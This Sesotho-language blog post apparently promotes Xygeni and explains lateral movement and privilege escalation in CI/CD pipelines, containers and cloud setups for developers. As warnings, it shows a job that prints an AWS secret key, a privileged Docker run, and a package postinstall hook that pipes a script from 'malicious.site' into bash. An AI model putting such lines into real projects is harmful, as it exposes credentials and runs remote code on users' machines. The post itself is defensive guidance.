Motsamao oa Lateral ho Tšireletso ea Cyber ke Eng le Hore na Hobaneng o le Bohlokoa bakeng sa Bahlahisi
Haeba u moqapi ea ngolang meralo ea motheo e le khoutu, u hlophisa moaho pipelines, kapa ho kenya dikontenara, o hloka ho utlwisisa hore na motsamao o ka thoko ke eng tshireletsong ya inthanete. Hase feela leqheka la sehlopha se sefubelu; ke kamoo bahlaseli ba nnete ba tsamayang ka teng ka hara ditsamaiso tsa hao kamora ho robeha ha pele. Mme e ama ka ho toba mesebetsi ya hao. E bolela bokhoni ba mohlaseli ba ho potoloha litsamaisong, ho tloha ho semathi sa CI se senyehileng ho ea akhaonteng ea leru, kapa ho tloha setshelong ho ea sefofaneng sa hau sa taolo. 'Me keketseho ea litokelo ke eona e etsang hore seo se khonehe: ho fetola phihlello e lekanyelitsoeng hore e be taolo ea tsamaiso.
Hobaneng e le ea bohlokoa bakeng sa bahlahisi:
- Pipelinehangata li tsamaisoa ka litumello tse ngata haholo
- Liphiri li sebelisoa hape libakeng tsohle
- Lijana tse sa hlophisoang hantle li bula litsela tsa ho ea lits'ebeletsong tse ling
Ho tseba hore na motsamao o ka thoko ke eng tshireletsong ya inthanete ke mohato wa pele. Ho e emisa khoutung le pipeline boemo ke moo bahlahisi ba kenang teng.
Ho Eketseha ha Tokelo e le Sehlahisoa sa ho Tsamaisa Mahlakore
Ho eketsa tokelo ke hona ho fetolang ho phatloha ho honyenyane hore e be motsamao o moholo o ka thoko. Hang ha ba kene kahare, bahlaseli ba batla mokhoa ofe kapa ofe oa ho eketsa phihlello, ebang ke ka linotlolo tse lutlileng, lits'ebeletso tse sa hlophisoang hantle, kapa mesebetsi e sa lumelloang ho feta tekano.
Mehlala eo bahlahisi ba lokelang ho e tsotella:
- Mesebetsi ea Liketso tsa GitHub e sebetsang ka botlalo Litumello tsa AWS
- Bopaki ba tsamaiso bo thata bo ngotsoeng ka har'a li-script
- Lijana tse kenyang sokete ea Docker kapa litsela tsa moamoheli
- Mesebetsi ea CI e ka sebelisoang tlhahisong ka kotloloho
⚠️lemosa a re: Le ka mohla u se ke ua hatisa liphiri kapa matšoao ho li-log. Ena ke mohloli o tloaelehileng oa keketseho ea litokelo.
# insecure GitHub Actions job
jobs:
deploy:
steps:
- name: Expose secrets
run: echo $AWS_SECRET_ACCESS_KEY
ntle guardrails, bahlaseli ba sebelisa litokelo tsena hampe ho falla ka mahlakoreng, ho tloha mosebetsing o mong, setshelong, kapa tšebeletsong ho ea ho o mong. Ho eketsa litokelo ke hona ho matlafatsang motsamao oa sejoale-joale o ka lehlakoreng ho Tikoloho ea DevOps.
Litsela tse Tloaelehileng ho CI/CD le Tikoloho ea Maru
Ho utloisisa hore na motsamao o ka thoko ke eng tshireletsong ya inthanete ho qala ka ho etsa 'mapa wa ditsela tsa bahlaseli ba nnete. Ditikoloho tsa ntshetsopele di tletse ka tsona.
Li-vector tsa motsamao o ka lehlakoreng tse kotsi haholo:
- Li-tokens kapa mangolo a tumello a sebelisitsoeng hape ho pholletsa le tse ngata pipelines
- Lijana tse tsamaeang le lehlohonolo kapa phihlello ea hostPath
- Mefuta-futa ea marang-rang a bataletseng a se nang ho itšehla thajana ha litšebeletso
- Litšekamelo tsa mohloli o bulehileng ka lingoloa tsa pele/ka mor'a ho kenya
⚠️lemosa a re: Qoba ho sebelisa lijana tse nang le litokelo tse phahameng ntle le haeba ho hlokahala.
# insecure Docker command
docker run --privileged my-container
⚠️lemosa a re: Lingoloa tsa kamora ho kenya ka har'a liphutheloana tsa mokha oa boraro ke vector e tsebahalang ea tlhaselo.
"scripts": {
"postinstall": "curl http://malicious.site/script.sh | bash"
}
Tsena ke libaka tse tloaelehileng moo motsamao o ka lehlakoreng o qalang, ha mosebetsi o mong o senyehileng kapa karolo e lebisa ho o mong, le o mong.
Ho lemoha le ho Laola Motsamao o ka Mahlakoreng Pele o Fihla Tlhahisong
Ha o hloke SOC e felletseng ho emisa motsamao o ka thoko; o hloka ponahalo le taolo lera la dev.
Mokhoa oa ho lemoha keketseho ea litokelo le motsamao o ka thoko esale pele:
- Ela hloko moo mangolo a tumello a sebelisoang tengTšebeliso e sa lebelloang mesebetsing e sa amaneng le eona ke letšoao le lebe.
- Latela litaelo tse sa tloaelehang: Ho hlakola khoutu ea Base64, mehala ea marang-rang e tsoang, kapa phihlello ea lifaele tsa moriti ho CI ke matšoao a mabe.
- tshebediso tokelo e nyane in pipelines: O se ke wa fa ditokelo tsa ho romela dihlahiswa mesebetsing ya teko.
Keletso: Skena bakeng sa tšebeliso e sa sireletsehang ea Docker kahare pipelines.
- name: Check for --privileged flag
run: |
grep -- '--privileged' Dockerfile || echo "OK"
Ho eketseha ha litokelo ho ka fumanoa pele li baka tšenyo ea 'nete haeba u haha tlhahlobo mosebetsing.
Ho Fetela ka Nģ'ane ho ho Lemohuoa: Kamoo Xygeni e Thusang ho Latela Litsela tsa Ts'ebeliso e Mpe
Motsamao o shebaneng le lehlakore ha o etsahale ka tšohanyetso; o latela mekhoa. Xygeni e thusa lihlopha tsa nts'etsopele ho etsa 'mapa oa lipaterone tseo pele bahlaseli ba etsa joalo. Kamoo Xygeni e thusang kateng:
- E bona litsela tse fetang libakeng tse ling tsa polokelo, CI/CD, le leru
- E khetholla lintlha tsa keketseho ea litokelo mesebetsing ea kaho le likonteneng
- Lifolakha li sebelisa hampe liphiri, li-tokens le liphutheloana tse kotsi haholo
- E haha metheo ea boitšoaro ho bona lintho tse sa tloaelehang ha nako e ntse e ea
Ena ke tsela eo o suthelang ka letsohong le letšehali ka eona, eseng feela tekong, empa le ho emisa motsamao o ka thoko le tlhekefetso ea litokelo pele tlhahiso e angoa.
Ho Emisa ho Eketseha ha Litokelo: Tšireletso ea Hao e Molemohali Khahlanong le Motsamao oa Mahlakore
O ke ke wa emisa seo o sa se boneng. Mme haeba o sa utlwisise hore na motsamao wa lehlakore ke eng tshireletsong ya inthanete, khoutu ya hao, pipelines, 'me lijana li se li pepesitsoe.
Ho netefatsa potoloho ea bophelo ba hau ea nts'etsopele:
- Nka keketseho ea litokelo e le kotsi ea mantlha ea AppSec
- Ela hloko matšoao a pele a motsamao o ka thoko ho CI/CD le leru
- Sebelisa lisebelisoa tse kang Xygeni ho latela litsela tsa bahlaseli ho pholletsa le khoutu, lihaho le ho kenngoa ha lisebelisoa
Sena ha se khopolo-taba. Ke tikoloho ea hau, ntle le haeba u e koalla.
